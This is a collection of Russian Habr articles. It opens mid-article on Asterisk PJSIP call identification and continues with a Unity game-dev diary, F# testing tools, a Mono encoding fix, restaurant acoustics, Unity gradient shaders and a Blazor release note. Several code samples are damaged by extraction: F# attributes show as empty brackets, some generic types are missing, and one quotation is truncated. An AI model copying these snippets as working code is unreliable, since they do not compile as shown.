* Успешно проходит регистрация по адресу **sip.test.ru**
* Допустим **sip.test.ru** резолвится в **10.10.10.10**
* Входящие вызовы поступают с **11.11.11.11**
* Входящие могут поступать и с **10.10.10.10**
Вызовы могут не пройти авторизацию и будут завершены.
В PJSIP есть возможность идентификации по IP адресу:
```
[74952293042]
type = identify
; ... ... ...
match=sip.test.ru,185.45.152.0/24,185.45.155.0/24;
; ... ... ...
```
В параметре "**match**", через запятую, можно описать все IP адреса провайдера. В этом случае входящий будет корректно сопоставлен с нужным **endpoint**.
Кроме того, следует обратить внимание на опцию "**endpoint\_identifier\_order**".
Значение по умолчанию:
```
endpoint_identifier_order=ip,username,anonymous
```
Если у вас есть несколько учетных записей одного провайдера, которые регистрируются на одном и том же адресе IP:PORT, то имеет смысл поменять порядок идентификации:
```
endpoint_identifier_order=username,ip,anonymous
```
Пример, есть три транка:
* 99999 - подключается к 10.10.10.10:5060
* 88888 - подключается к 10.10.10.10:5060
* 77777 - подключается к 10.10.10.10:5060
Если не настроить "**endpoint\_identifier\_order**", то:
* **все входящие будут направлены в контекст произвольного endpoint** (идентификация пройдет по адресу IP:PORT), к примеру в контекст endpoint "99999" .
* канал, созданный при входящем будет всегда ассоциироваться с одним и тем же endpoint, к примеру **PJSIP/99999-0000**XXX, на какой внешний номер бы ни звонил клиент
Входящие без регистрации SIP URI
--------------------------------
Для ряда случаев удобно направлять входящие на АТС без регистрации.
Обязательно следует подгрузить модуль "**res\_pjsip\_endpoint\_identifier\_anonymous.so**".
Пример настройки **pjsip.conf**
```
[anonymous]
type = endpoint
allow = alaw
timers = no
context = public-direct-dial
```
Пример **extensions.conf**
```
[public-direct-dial]
exten => 74952293042,NoOp(--- Incoming call to ${EXTEN} ---)
same => n,Dial(PJSIP/204,,TKg));
same => n,Hangup()
```
Контекст **public-direct-dial** должен быть изолирован от исходящих dialplan.
В качестве exten описываются все DID номера и логика маршрутизации.
Подведу итоги
-------------
* Переход на PJSIP состоялся. С **chan\_pjsip** АТС работает стабильно, надежно
* Нами был получен огромный опыт работы с PJSIP
* PJSIP более гибок в настройке, предоставляет больше возможностей
* Функция множественной регистрации крайне удобна и порой незаменима
* **chan\_pjsip** **живой**, активно развивается и поддерживается сообществом
Из минусов перехода на chan\_pjsip стоит отметить:
* Требуется модернизация dialplan
* Изменение поведения AMI, что отражается на CTI клиентах
* Меняется поведение CDR, требуется доработка легирования истории звонков
* **chan\_pjsip** активно развивается, в свежих релизах asterisk встречаются грубые ошибки. не стоит гнаться за новыми версиями, лучше выждать появления "certified" версий
Полезные ссылки
---------------
* [Ссылка на проект MIKOPBX](https://github.com/mikopbx/Core)
* <wiki.asterisk.org>
* [Identifying an endpoint in PJSIP](https://www.asterisk.org/identifying-endpoint-pjsip/)
* [SIP Resource using PJProject](https://wiki.asterisk.org/wiki/display/AST/Asterisk+13+Configurationrespjsip)
* [Dialing PJSIP Channels](https://wiki.asterisk.org/wiki/display/AST/Dialing+PJSIP+Channels) | https://habr.com/ru/post/521236/ | null | ru | null |
# Опыт разработки первой игры на Unity, часть 2
Часть вторая — в которой я сдаюсь и опускаю руки
------------------------------------------------
[Ссылка на часть 1](https://habr.com/ru/post/593399/)
Первая часть была написана 24 ноября, прошло 10 дней...
Оказалось, что вытянуть нужные мне данные — крайне сложная задача. Я пересмотрел кучу роликов, прочитал кучу информации, но все бесполезно. Несколько дней экспериментов — каждый раз одно и то же. Ошибка, ошибка, сплошные ошибки… Им не было конца
Заключение
----------
Итак, я сдался. Вся затея пошла прахом. Постоянные ошибки сломили меня, а полное непонимание того, что делаю — добило окончательно
Так, а это что за текст?
------------------------
Ахах, сдался — как же! Просто скипнул эту часть и перешел к следующему этапу. Благо, пока что это можно сделать относительно безболезненно. К загрузке данных вернусь как-нибудь потом. Итак, поехали дальше!
#### Ремарка
Фидбек от первой статьи понятен - нужно больше технической части) В этой по некоторым причинам уже поздно что-то менять, но в следующей обязательно что-нибудь придумаю! Благо из-за кое-какой ситуации там будет сильно больше материала. А так всем спасибо за комменты!
О возникших проблемах
---------------------
Главная проблема — я вообще не знаю, как работать с таблицей, которая находится где-то там в гугле. Вторая — мой навык проггера. Он крайне низок — что-то около джуна (джун минус минус, ориентировочно). И третья — формат таблицы (о нем чуть ниже)
Нашел такое решение. И оно работает!
Смог адаптировать под моих героев и записать в них данные из таблицы! Проблема пришла внезапно. На первом листе у меня находятся, по сути, ссылки на айдишники из других листов. А cvs, насколько понял, не позволяет работать с другими листами! Штош, ищем другие варианты.
Поиски привели к `https://docs.google.com/spreadsheets/d/*/expor? format=cs? edit#gid=0`, где \* это id таблицы, а после gid айди листа.
Ура — unity возвращает адрес нужного листа! Но данные все равно берутся с первого листа, агрррх! Я отчаялся. Почти потерял надежду. И тут, неожиданно, нахожу его: `https://docs.google.com/spreadsheets/d/{key}/gviz/t? tqx=out:csv&sheet={sheet_name}`. Ура, работает! Берет данные именно с нужного листа. Но вылезли баги — все id обрамлены теперь в « ». Решилось просто — указал, что нужно убирать символ ".
Следующая проблема — как сделать так, чтобы брались характеристики из другого листа в зависимости от того, какой id указан у героя. После долгих часов мучений нашел корень проблемы — в найденном решении при вытаскивании таблиц тут же присваиваются найденные значение. Значит, нужно переписывать — разделять методы так, чтобы появилась нужная гибкость. Отныне и навсегда — отдельно вытягиваем таблицы, отдельно проходимся по ним, ища то, что нужно, отдельно записываем герою нужные характеристики.
Итог вы знаете — пока так и не получилось
Следующий шаг
-------------
Удаляем все эксперименты — возвращаемся к самому началу до экспериментов с таблицами.
Теперь по плану мне нужно модифицировать боевую систему — использовать подтянутые из таблицы характеристики героев и противников, и научить героев использовать активируемый скилл. Противников такому научу чуть позже. И вот что получилось
Выдал героям и противникам фейковые характеристики, добавил кнопки для использования скилла. Если мана накопится, то по нажатию герой делает БУМ!
Модернизировал выбор цели героем — теперь есть не только сингл-таргет скилл, но и бьющий несколько противников
Изначальный код по поиску ближайшего объекта взят с Unity
```
public GameObject FindClosestTarget(GameObject[] objectsArray)
{
//Debug.Log("target");
_debugTarget = null;
GameObject[] gos;
gos = objectsArray;
GameObject closest = null;
float distance = Mathf.Infinity;
Vector3 position = transform.position;
foreach (GameObject go in gos)
{
if (go != null && go.activeSelf)
{
Vector3 diff = go.transform.position - position;
float curDistance = diff.sqrMagnitude;
if (curDistance < distance)
{
closest = go;
distance = curDistance;
}
}
}
return closest;
}
```
А вот такой код появился для поиска всех объектов, которые находятся на дистанции атаки. Просто взял готовое решение по поиску и переделал чутка
```
public GameObject FindAllClosestTargets(int index)
{
//Debug.Log("target");
GameObject closest = null;
float distance = GetComponent().Attack\_Range;
Vector3 position = transform.position;
if (\_enemys[index] != null && \_enemys[index].activeSelf)
{
Vector3 diff = \_enemys[index].transform.position - position;
float curDistance = diff.sqrMagnitude;
//Debug.Log("curDistance = " + curDistance);
//Debug.Log("distance = " + distance);
if (curDistance <= distance)
{
closest = \_enemys[index];
//distance = curDistance;
}
}
return closest;
}
```
Вызов выглядит так
```
for (int i = 0; i < _targetAnalyse.Enemys.Length; i++)
{
Attack(_targetAnalyse.FindAllClosestTargets(i), dmg); // dmg принимает мультипликатор урона
}
```
И все - теперь герои умеют в AoE (атака по области)
Мда, с английским я не слишком заморачивался)
Еще и здоровье теперь не просто отнимается, а делает это красиво и постепенно. Циферки это здоровье — они дублируют полоску здоровья с кнопки скилла. Потом от них избавлюсь
### Что вообще происходит на видео
Герой с 1000 здоровья это герой 1, его кнопка Skill Hero 1. По нажатию, если мана заполнилась, он бьет одного ближайшего противника
Герой с 2000 здоровья, соответственно, герой 2. По нажатию на его кнопку, он бьет всех противников, которые находятся на дистанции атаки
Естественно, количество кнопок зависит от количества героев — и у каждого свой скилл
Возникшие проблемы
------------------
Первая — архитектура. Уже начинается непонятно что — что-то откуда-то вызывает, что-то при этом происходит. В итоге сделал в confluence кучу страниц с названиями объектов и префабов. В них — страницы со скриптами. И в этих страницах описание того, что они делают со ссылками на те скрипты, которые вызывают. Надеюсь, это немного поможет упорядочить то, что у меня там происходит.
Вторая тоже относится к архитектуре, но немного иначе. Например, изначально был скрипт Fight, в котором есть метод Attack(). В начале все было хорошо — а сейчас понадобилось использовать умения. Если все оставить как есть, то Attack() будет вызывать UseSkill(), но это скилл должен вызывать атаку! Поэтому пришлось немного переделывать такие моменты. Теперь Fight() только определяет само состояние атаки и ее возможность, а UseSkill() используется в другом месте
Третья — и сейчас самая важная проблема — я понятия не имею как описывать скиллы в коде с учетом предполагаемых данных, которые буду подтягивать с таблицы. Пока стоит заглушка, но нужно будет очень хорошо подумать, как все организовать. Но это по плану будет позже
Немного важностей
-----------------
Важно делать что-то, что будет выдавать хоть какой-то видимый результат. Например, вот такой код у меня отвечает за то, что циферки красиво уменьшаются при получении урона
```
private IEnumerator UpdateCurHealth()
{
while (_prevHealth > _curHealth)
{
yield return new WaitForSeconds(.1f);
_prevHealth--;
_healthCount.text = _prevHealth.ToString();
if (_prevHealth <= _curHealth)
{
_prevHealth = _curHealth;
StopCoroutine(UpdateCurHealth());
}
}
}
```
Маленькая и простая штука, которая позволяет тут же увидеть результат работы. Позволяет сохранить оптимизм, т.к наглядно показывает, что есть прогресс
Следующий этап
--------------
А дальше у меня прокачка! Научу героев получать опыт и повышать уровень | https://habr.com/ru/post/593401/ | null | ru | null |
# Тестирование в F#
### Введение
Вы наверное уже слышали много хорошего о языке F#, и даже наверное успели его опробовать на небольших личных проектах. Но как быть если речь идет о чем-то немного большем чем просто запуск и отладка простого консольного приложения или скрипта? В этой статье я поведаю вам о моем личном опыте работы с тестами в F#. Кому интересно, прошу в подкат.
### Исходный код
Для удобства изложения материала я подготовил небольшой проект, исходный код которого доступен [здесь](https://github.com/vba/fsharp.tests). Исходники содержат небольшой модуль и тесты к нему. Вот собственно и сам модуль:
```
[]
module DistanceUnits
open System
[] type m
[] type cm
[] type inch
[] type ft
[] type h
let mPerCm : float = 0.01
let cmPerInch : float = 2.54
let inchPerFeet: float = 12.0
let metersToCentimeters (x: float) = x / mPerCm
let centimetersToInches (x: float) = x / cmPerInch
let inchesToFeets (x:float) = x / inchPerFeet
let centimetersToMeters: float -> float = ( \* ) mPerCm
let inchesToCentimeters: float -> float = ( \* ) cmPerInch
let metersToInches: float -> float = metersToCentimeters >> centimetersToInches
let metersToFeets: float -> float = metersToInches >> inchesToFeets
let feetsToInches: float -> float = ( \* ) inchPerFeet
let metersToHours(m: float): int = raise(new InvalidOperationException("Unsupported operation"))
```
### Библиотека для тестирования
В принципе для тестирования ваших приложений на F# вы можете обойтись без каких либо специальных библиотек. Хотя если вы, как и я, предпочитаете более стандартный подход, то вы без проблем сможете воспользоваться такими библиотеками как:
* [NUnit](http://www.nunit.org/)
* [xUnit](https://github.com/xunit/xunit)
* [MSTest](https://en.wikipedia.org/wiki/Visual_Studio_Unit_Testing_Framework)
Здесь я не буду вдаваться в детали типа какой фреймворк самый лучший в мире, оставлю это на ваше усмотрение. Я отдаю предпочтение *xUnit* и далее буду использовать его, если ваши предпочтения не совпадают с моими то вы лего можете переключиться на вашу любимую библиотеку для тестирования.
Итак для начала добавьте в ваш проект пакеты [xunit](https://www.nuget.org/packages/xunit/2.1.0) и [xunit.runner.visualstudio](https://www.nuget.org/packages/xunit.runner.visualstudio/2.1.0)
### Assert библиотеки
Каждый маломальский тестовый фреймворк предоставляет вам минимальный набор assert-функций. В принципе их хватает в 90% случаев, но ими не совсем удобно пользоваться. Давайте рассмотрим парочку дополнительных и удобных библиотек.
* [Fluent Assertions](http://www.fluentassertions.com) — Интересное решение для любителей цепочных вызовов. Неплохо работает в C#, но к сожалению неуклюже в F#, так как цепочка никогда не возвращает `Unit`, следовательно вам нужно всегда изворачиваться и писать что-то вроде `actual.Should().StartWith("S") |> ignore`.
* [FsUnit](https://github.com/dmohl/FsUnit) — Библиотека написанная специально для F#, но заточенная изначально под *NUnit*. С примерами вы можете ознакомиться [здесь](https://github.com/dmohl/FsUnit#examples). Имеет в наличие поддержку *xUnit*, но поддержка это выглядит ограниченно и поддерживается слабовато, а жаль.
* [Unquote](https://github.com/SwensenSoftware/unquote) — Довольно интересное решение, использующее [Quoted Expressions](https://msdn.microsoft.com/en-us/library/dd233212.aspx). Единственное, на мой взгляд, ограничение заключается в зависимости от F# версии 4.0 и выше. Далее в этой статье я буду использовать именно эту библиотеку.
### Mock библиотеки
Если вы сталкиваетесь с необходимостью использовать Mock-и для тестирования вы можете воспользоваться [Moq](https://github.com/Moq/moq4), но если вы ищите немного более F#-дружественного решения, вы можете воспользоваться [Foq](https://foq.codeplex.com). Давайте сравним в использовании эти две библиотеки.
Вызов метода в Moq:
```
var mock = new Mock();
mock.Setup(foo => foo.DoIt(1)).Returns(true);
var instance = mock.Object;
```
Вызов метода в Foq:
```
let foo = Mock()
.Setup(fun foo -> <@ foo.DoIt(1) @>).Returns(true)
.Create()
```
Сравнение аргументов в Moq:
```
mock.Setup(foo => foo.DoIt(It.IsAny())).Returns(true);
```
Сравнение аргументов в Foq:
```
mock.Setup(fun foo -> <@ foo.DoIt(any()) @>).Returns(true)
```
Свойство в Moq:
```
mock.Setup(foo => foo.Name ).Returns("bar");
```
Свойство в Foq:
```
mock.Setup(fun foo -> <@ foo.Name @>).Returns("bar")
```
### Другие полезности
В зависимости от ваших нужд, вы так же можете воспользоваться известным "минимизатором Arrange фазы тестирования" и генератором заглушек — [AutoFixture](https://github.com/AutoFixture/AutoFixture). Так же вы можете воспользоваться другими полезностями интеграции *AutoFixture* с *xUnit*.
### Написание тестов
Итак, когда все готово, можно перейти к написанию тестов. *xUnit* позволяет нам использовать как стандартные классы так и определение модулей в F#, вам решать какой подход вам больше подходит. Ниже представлены примеры двух подходов.
Класс:
```
type ConverterTest1() =
[]
member me.``It should convert meters to centimeters as expected``() =
let actual = 1100.0 |> centimetersToMeters
test <@ actual = 11.0 @>
[]
member me.``It should convert centimeters to meters as expected``() =
let actual = 20.0 |> metersToCentimeters
test <@ actual = 2000.00 @>
```
Модуль:
```
module ConverterTest2 =
open System
[]
let ``It should convert meters to feets as expected`` () =
let actual = 32.0 |> metersToFeets
test <@ actual = 104.98687664041995 @>
[]
let ``It should fail when rubbish conversion is attempted`` () =
raises <@ metersToHours 2.0 @
```
### Вместо заключения
Выше приведенные тесты благополучно запускаются в студии и на интеграционном сервере. Благодарю за внимание. Надеюсь вам эта статья была полезной. | https://habr.com/ru/post/280410/ | null | ru | null |
# Решение проблемы с кодировками в Mono
Проблема.
=========
В целом, эта проблема может по-разному проявляться. В моём случае это был SharpDevelop, напрочь отказавшийся компилировать Hello world, который в командной оболочке (в том числе, через NAnt) собирается без ошибок. При этом, SharpDevelop был скуп на информацию:
Спустя примерно час быдлокодинга и поиска источника проблем, среда разработки согласилась дополнить информацию об ошибке новыми полезными сведениями:
Решение.
========
Создаётся переменная среды «`MONO_EXTERNAL_ENCODINGS`» со значением «`default_locale`», перезапускается командная оболочка или среда разработки. В моём случае проблема больше не проявляется. | https://habr.com/ru/post/38204/ | null | ru | null |
# Акустическая емкость: Зачем рестораны снижают уровень шума
[](http://geektimes.ru/company/jowi/blog/260828/)
В нашем блоге мы уже рассказывали о том, как рестораны внедряют системы автоматизации работы (например, [Jowi](https://www.jowi.club/ru/?utm_source=geektimes&utm_medium=article&utm_campaign=sonic)), [гуглят посетителей](http://geektimes.ru/company/jowi/blog/259856/) и внедряют дизайн-подходы к [созданию меню](http://geektimes.ru/company/jowi/blog/259912/). Кроме того, мы касались и темы [уровня шума](http://geektimes.ru/company/jowi/blog/260010/) в заведениях.
Люди ходят в кафе и рестораны для общения, а значит, уровень шума должен быть приемлемым для спокойного разговора. Но как этого добиться?
#### Эффект Ломбарда
Типичная ситуация — компания людей сидит в ресторане и наслаждается отличной едой и напитками. На фоне играет приятная музыка, общение идет своим чередом. Однако вскоре участники посиделок начинают повышать голос — иначе собеседники уже не смогут услышать друг друга. И так делают посетители за каждым столиком.
В итоге общий гул в помещении нарастает, а каждый из тех, кто в нем находится говорит все громче и громче. Это явление получило название [эффекта Ломбарда](https://en.wikipedia.org/wiki/Lombard_effect).
В предыдущем [материале](http://geektimes.ru/company/jowi/blog/260010/) мы приводили сравнение уровня шума в децибелах и источника, который мог бы издавать его в реальной жизни. Освежим цифры:
* **60 децибел** — звук обычного разговора, безопасный уровень.
* **70 децибел** — так звучит стиральная машина, безопасный уровень.
* **80 децибел** — звук оживленной автодороги, все еще безопасный уровень.
* **85-90 децибел** — примерно равняется мощной газонокосилке, при воздействии на органы слуха на протяжении 8 часов в день могут быть проблемы.
* **95 децибел** — мотоцикл, при воздействии такого шума на протяжении 8 часов в день будут проблемы.
* **100 децибел** — эквивалетно работающим аэросаням, риск при воздействии на протяжении 2 часов в день.
* **110 децибел** — рок-концерт, и 30 минут достаточно для возникновения проблем.
При этом, [эксперименты](https://www.bostonglobe.com/lifestyle/food-dining/2014/04/22/what-can-hear-you/uJGdqtAwATBLlxAKDxV0wK/story.html) показывают, что в некоторых заведениях уровень шума может достигать 86 децибел (с пиками до 97 децибел) — это значит, что их гости просто рискуют своим здоровьем.
Иногда шум используется для того, чтобы посетители слишком долго не занимали свои места (в таких заведениях, как правило, и кухня не из лучших), однако хорошие рестораны стремятся к тому, чтобы создать комфортную среду для своих гостей.
#### Откуда берется шум
В кафе и ресторанах общий шум складывается из фоновой музыки, звуков приготовления еды и, самое главное, разговоров посетителей. Общий «вклад» определенного источника в общее шумовое сопровождение определяется его громкостью и временем [реверберации](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B2%D0%B5%D1%80%D0%B1%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D1%8F) (постепенного уменьшения интенсивности звука). Если время реверберации высоко, то исчезновение нежелательного звука тянется дольше.
Соответственно, в помещениях с высокими временами реверберации будет шумно. При этом, более высокий уровень шума создает еще больше нежелательных звуков, которые также вносят свой вклад в общий уровень громкости. Это значит, что люди, не участвующие в определенной беседе, все равно будут ее слышать, что может быть для них нежелательно.
Поэтому, для сохранения комфортной среды, число гостей, одновременно находящихся в помещении не должно быть выше нормы. Однако для ресторана это нежелательный выход — меньше гостей, значит и меньше прибыль.
#### Что делать ресторанам
Специалисты компании Bapacoustics в посте в своем блоге [приводят](http://bapacoustics.com/general/good-communication-in-restaurants-acoustic-capacity/) следующую информацию: максимальное число людей, которые могут находиться в помещении при сохранении комфортного уровня шума, называется акустической емкостью. Она рассчитывается по следующей формуле:
`Акустическая Емкость = Объём пространства / (20 * Время реверберации)`
Как уже сказано выше, снижать количество гостей в помещении — не лучший выход для ресторана, поэтому стоит задуматься о повышении акустической емкости. Сделать это можно с помощью специальных звукоулавливающих элементов. Ниже представлена 3D-модель ресторана без таких элементов:
Предположим, что на картинке выше изображено помещение с деревянной крышей, бетонным полом и облицованных гипсокартоном стен. Площадь помещения составляет 165 квадратных метров, а высота потолков — 4 метра. В таком случае акустическая емкость помещения составит 25 человек.
В свою очередь, если использовать звукопоглощающие панели, размещенные на потолке и стенах, то время реверберации можно снизить с 1,2 секунд до 0,5 с, а акустическая емкость возрастет с 25 до 66 человек.
Разница в уровне шума слышна отчетливо — на [первой записи](http://bapacoustics.com/wordpress/wp-content/uploads/2015/05/Conversation-noTreatment.wav?_=1) помещение не оборудованное поглощающими элементами, а [на второй](http://bapacoustics.com/wordpress/wp-content/uploads/2015/05/Conversation-Treatment.wav) — с ними.
Подобные нововведения стоят недешево — в прошлом материале мы приводили пример ресторана, который потратил на переоборудование $30000. Однако в конечном итоге подобные усилия стоят того, поскольку рестораны могут принимать больше гостей, а они сами лучше проводят время и затем оставляют положительные отзывы в интернете, что способствует притоку новых клиентов. | https://habr.com/ru/post/383285/ | null | ru | null |
# Поговорим про градиенты в Unity
Всём привет. Меня зовут Григорий Дядиченко. Я в Unity разработке около 7 лет, и за это время повидал многое. Одна из основных проблем, которая встречается, когда забираешь у неопытных ребят проект - градиенты в интерфейсах. В целом ошибки в разработке интерфейсов не редкость. Вроде того же неумения пользоваться найн слайсом, атласами, понимания батчинга. Но градиенты стоят немного особняком, так как они либо раздувают вес билда до невообразимых размеров, либо рисуются в интерфейсе со стрёмными артефактами компрессии. Давайте обсудим почему так происходит, и что с этим можно сделать, как вариант решения. Кому данная тема интересна - добро пожаловать под кат.
Из чего в целом состоит интерфейс? В хорошем проекте он обычно состоит из кружков (либо шейдера для кнопок со скруглёнными углами), градиентов и иконок. Градиенты нужны, конечно, не в каждом интерфейсе, но они используются достаточно часто.
Плюсы и минусы градиентов в виде спрайтов
-----------------------------------------
Тут есть некоторые нюансы. Но общей проблемой, пожалуй, всех являются **артефакты сжатия.** По умолчанию градиенты на том же Android жмутся не очень хорошо и появляются хорошо заметные артефакты. Можно отключить компрессию, но тогда градиенты значимо увеличат вес билда, что тоже не вариант.
В случае простых градиентов в плане веса текстур есть, конечно, хитрость. Сделать текстуру в 1 пиксель на высоту градиента, и тогда проблема отпадает. Но это подходит в основном для простых линейных градиентов.
В чём же плюс градиентов в виде спрайтов? Он, по сути, всего один - батчинг. Используя градиент в атласе с остальными спрайтами можно отрисовать весь интерфейс в один *draw call*, что, несомненно, является плюсом, но не всегда настолько значимым.
Альтернативное решение
----------------------
Шейдеры и генерация текстуры в один пиксель шириной. В целом можно обойтись и без генерации, но тогда придётся писать уникальный шейдер под каждый конкретный случай, что не очень удобно. Таким имеет смысл заниматься только в случае крайней необходимости в плане оптимизации. Но для удобного управления градиентом и переноса его из той же фигмы лучше написать более общее решения, где массив наших цветов передаётся текстурой.
Тут стоит сказать о том, как в юнити рендерятся интерфейсы. Возьмём для примера тот же *Image* в режиме Simple и без флага *Use Sprite Mesh* в них всё немного сложнее. *Image* - это наследник *Maskable Graphic*, который в режиме *Simple* генерирует *quad*. По умолчанию при обработке меша наследники класса *Graphic* записывают цвет, указываемый в параметр *color* у *vertex*. И то поле, которое в Image отвечает за *Sprite* передаёт текстуру в *\_MainTex* шейдера *SpriteDefault*. Шейдер умножает картинку на цвет, записанный в вершинах, и мы получаем компонент Image. Дальше этот меш с данным шейдером отрисовывает *CanvasRenderer*. Всё довольно просто.
Что же нам это даёт? Так как в юнити в интерфейсах мы можем:
1) Генерировать меши
2) Переписывать параметры вершин
То все необходимые для шейдера градиента параметры мы можем передать в генерируемый меш, написав своё расширения класса *MaskableGraphic*. В целом данные подходы можно использовать для реализация огромного числа кастомных компонент в UI.
Но есть один нюанс. Важным атрибутом в случае UI является *[PerRendererData]*, так как на нём завязан батчинг интерфейсов, да и в целом удобство использования. Так как нам не хочется создавать по материалу под каждый градиент, то удобнее передавать все параметры в один материал, либо записывать в меш, но где уже каждый отдельный рендерер будет решать, что именно надо отобразить и какие параметры он использует.
На разных градиентах, артефакты выглядят по-разному, и на некоторых они почти незаметны. Возьмём за основу градиенты, которые поддерживаются той же Figma. Их 4 типа: линейный, конический, сферический и ромбовидный. Давайте про них и поговорим.
Генерация текстуры градиента
----------------------------
Для начала нам необходимо научиться генерировать текстуру градиента. В целом текстуры в юнити генерируются достаточно просто. Но, помимо этого, в Unity реализован замечательный сериализуемый класс *Gradient*, который позволит нам сразу получить удобный интерфейс для редактирования нашего градиента.
```
public Texture2D GenerateTexture(bool makeNoLongerReadable = false)
{
Texture2D tex = new Texture2D(1, (int)_GradientResolution, TextureFormat.ARGB32, false, true);
tex.wrapMode = WrapMode;
tex.filterMode = FilterMode.Bilinear;
tex.anisoLevel = 1;
Color[] colors = new Color[(int)_GradientResolution];
float div = (float)(int)_GradientResolution;
for (int i = 0; i < (int)_GradientResolution; ++i)
{
float t = (float)i/div;
colors[i] = _Gradient.Evaluate(t);
}
tex.SetPixels(colors);
tex.Apply(false, makeNoLongerReadable);
return tex;
}
```
Параметры *filter mode* и *wrap mode* зависят в целом от удобства использования в конкретном шейдере. *Gradient Resolution* — это параметр, отвечающий за “высоту” нашей текстуры градиента. С помощью него можно регулировать какая именно текстура нас устраивает, чтобы как можно меньше терять в качестве.
Текстуру мы сгенерировали, теперь пора перейти к шейдерам.
Линейный градиент
-----------------
unity figma gradient - градиент сделанный шейдером, остальные текстурамиПожалуй самый простой в реализации градиент. Единственная математика, которая в нём потребуется — это поворот uv координат через матрицу поворота в вертексной части шейдера. Угол поворота мы будем передавать, записав его в uv1 канал меша.
```
v2f vert (appdata v)
{
const float PI = 3.14159;
v2f o;
o.vertex = UnityObjectToClipPos(v.vertex);
o.color = v.color;
o.uv = TRANSFORM_TEX(v.uv, _MainTex);
o.uv.xy -= 0.5;
float s = sin (2 * PI * (-v.uv2.x) /360);
float c = cos (2 * PI * (-v.uv2.x) /360);
float2x2 rotationMatrix = float2x2( c, -s, s, c);
rotationMatrix *=0.5;
rotationMatrix +=0.5;
rotationMatrix = rotationMatrix * 2-1;
o.uv.xy = mul (o.uv.xy, rotationMatrix );
o.uv.xy += 0.5;
return o;
}
```
В фрагментной части мы просто отображаем текстуру с нашими модифицированными uv координатами. Функция *SampleSpriteTexture* - это вспомогательная функция необходимая для поддержки ряда внутренних функций *Unity UI*.
```
fixed4 SampleSpriteTexture (float2 uv)
{
fixed4 color = tex2D (_MainTex, uv);
#if UNITY_TEXTURE_ALPHASPLIT_ALLOWED
if (_AlphaSplitEnabled)
color.a = tex2D (_AlphaTex, uv).r;
#endif //UNITY_TEXTURE_ALPHASPLIT_ALLOWED
return color;
}
fixed4 frag (v2f i) : SV_Target
{
fixed4 col = SampleSpriteTexture ( i.uv) * i.color;
return col;
}
```
Вот и линейный градиент готов. Все шейдеры в данном случае получаются однопроходные и довольно легковесные. По этой причине особого влияния на производительность с точки зрения шейдера не будет.
Конический градиент
-------------------
По своей сути конический градиент — это завёрнутая в кольцо лента текстуры градиента. Так как по необходимому функционалу мы опираемся на фигму. То помимо самого угла поворота, от которого наш градиент начинается, нам нужно передать внутрь шейдера центр этой свёрнутой ленты. Так как любые вертексные параметры мы можем использовать, как угодно. Их название не играет никакой роли в работе шейдера. И так как нам нужно теперь три значения: две координаты для центра и угол, то запишем его в нормаль.
Итоговый шейдер, так же получается достаточно простой. Из любопытной математики тут, пожалуй, только правильный расчёт угла со знаком.
```
v2f vert (appdata v)
{
v2f o;
o.vertex = UnityObjectToClipPos(v.vertex);
o.color = v.color;
o.uv = TRANSFORM_TEX(v.uv, _MainTex);
o.center = v.center;
return o;
}
fixed4 frag (v2f i) : SV_Target
{
const float PI = 3.14159;
float x = (i.uv.x - i.center.x);
float y = (i.uv.y - i.center.y);
float angle = acos(dot(float2(0, 1),normalize(float2(x, y))));
float sign = (x) / abs(x);
float TwoPI = PI * 2;
float2 uv = ( sign*angle - i.center.z / 360 * TwoPI) / TwoPI;
fixed4 col = SampleSpriteTexture (uv) * i.color;
return col;
}
```
Если идти по шагам, что мы сделали в преобразовании uv координат. Перенесли центр координат и дальше использовали угол между вектором up и вектором из нашего центра до соответствующей uv координаты в качестве uv маппинга. Может звучать достаточно сложно для тех, кто не так много сталкивался с шейдерами. Но написав 5-10 шейдеров с таким принципом и покрутив его параметры - начинаешь понимать в чём смысл.
Сферический/радиальный градиент
-------------------------------
Все градиенты по своей математике довольно просты. Для того, чтобы сделать сферический градиент нам понадобится только каноническое уравнение эллипса. Кроме того, теперь мы в шейдер будет передавать целых 5 параметров помимо текстуры для лучшего контроля. Центр нашего эллипса, радиус по оси х и по оси у и его поворот. Все функции можно будет подробно посмотреть в репозитории в конце статьи, так что я укажу только код самого шейдера.
```
v2f vert (appdata v)
{
const float PI = 3.14159;
v2f o;
o.vertex = UnityObjectToClipPos(v.vertex);
o.color = v.color;
o.uv = TRANSFORM_TEX(v.uv, _MainTex);
float s = sin (2 * PI * (-v.params.z) /360);
float c = cos (2 * PI * (-v.params.z) /360);
float2x2 rotationMatrix = float2x2( c, -s, s, c);
rotationMatrix *=0.5;
rotationMatrix +=0.5;
rotationMatrix = rotationMatrix * 2-1;
o.uv.xy = mul (o.uv.xy - v.center.xy, rotationMatrix );
o.params = v.params;
o.center = v.center;
return o;
}
fixed4 frag (v2f i) : SV_Target
{
float x = i.uv.x;
float y = i.uv.y;
float r1 = i.params.x / 2;
float r2 = i.params.y / 2;
float2 uv = sqrt(x * x / r1 + y * y / r2);
fixed4 col = SampleSpriteTexture (uv) * i.color;
return col;
}
```
Поворот координат мы используем из нашего линейного градиента, только не смещая центр системы координат. А в фрагментной части у нас просто уравнение эллипса.
Ромбовидный градиент
--------------------
Про него не хочется особо много писать, так как это тот же сферический градиент. Только вместо уравнения эллипса мы используем модули значений координат, чтобы получить ромб.
```
fixed4 frag (v2f i) : SV_Target
{
float x = i.uv.x;
float y = i.uv.y;
float r1 = i.params.x / 2;
float r2 = i.params.y / 2;
float2 uv = abs(x) / r1 + abs(y) / r2;
fixed4 col = SampleSpriteTexture (uv) * i.color;
return col;
}
```
Собственно вот и все шейдеры, которые необходимы для отрисовки градиентов из Figma в интерфейсах.
Заключение
----------
Мне очень хотелось бы, чтобы люди перестали использовать огромные битые градиенты в своих проектах, так как преимущества решения через шейдеры перевешивают все его недостатки. В целом его можно ещё оптимизировать и сделать немного элегантнее, но тем не менее — это тот вид решения, которое уже несколько лучше, чем просто выгружать из дизайна в figma png от дизайнеров. Полностью реализованное решение, а также примеры использования вы можете [найти в репозитории по ссылке](https://github.com/Nox7atra/Unity-Figma-Gradients).
Спасибо за внимание, надеюсь статья была для вас полезна! | https://habr.com/ru/post/537256/ | null | ru | null |
# Вышел Blazor 0.9.0
Blazor 0.9.0 уже доступен! Этот релиз добавляет в Blazor улучшения компонентов Razor в .NET Core 3.0 Preview 3.
Новые улучшения Razor Component теперь доступны для приложений Blazor:
* Улучшена обработка событий
* Формы и валидация
Будем рады увидеть ваши отзывы!
